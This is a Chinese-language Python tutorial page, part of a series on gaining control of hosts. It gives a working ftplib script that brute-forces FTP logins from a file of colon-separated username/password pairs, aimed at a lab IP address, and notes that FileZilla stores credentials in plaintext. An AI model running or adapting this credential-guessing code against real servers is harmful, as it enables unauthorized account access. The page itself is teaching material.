程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

【Python腳本進階】2.3、利用FTP與Web批量抓“ 肉機”(中):使用Ftplib暴力破解FTP用戶口令

編輯:Python

一、簡介

1.1、概述:

雖然匿名訪問是進入系統的方式之一, 但攻擊者也能成功地用偷來的用戶名/密碼訪問合法的FTP 服務器。FileZilla 之類的FTP 客戶端程序往往將密碼以明文形式存儲在配置文件中。在默認位置中存儲明文密碼使得專門為此編寫的惡意軟件能夠迅速竊取用戶名/密碼。


安全專家們在發現的惡意軟件中也發現了竊取FTP 密碼的功能。一個名為get_filezilla creds.rb 的腳本也集成在了發布的Metasploit 中, 允許用戶在獲得目標控制權後可以快速尋找FTP 密碼。



二、實現:

2.1、背景:

假設要暴力破解的某個用戶名/密碼對就在一個文本文件裡的純文本文件中中

格式為:

(1.txt)

administrator:password
admin:12345
root:secret
guest:guest
root:toor

2.2、函數:

ftplib.FTP類:實現FTP協議的客戶端,可以使用它來編寫執行各種FTP作業的Python程序

2.3、步驟:

將anonLogin()函數擴展創建成一個名為bruteLogin()的函數。這個函數接收的參數是主機名和含有密碼的文件, 返回一個能登錄該主機的用戶名/密碼。該函數逐個讀取文件中的每一行記錄, 用戶名和密碼之間是以冒號分隔的。然後函數嘗試用這個用戶名和密碼登錄FTP 服務器。


如果成功, 則返回一個用戶名和密碼的tuple。如果失敗, 它跳過該異常繼續到下一行。如果函數窮盡所有的行仍未能成功登錄, 則返回一個值為None、None的tuple 。

import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + userName + '/' + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + userName + '/' + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials')
return (None, None)
host = '192.168.190.131'
passwdFile ='1.txt'
bruteLogin(host, passwdFile)


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved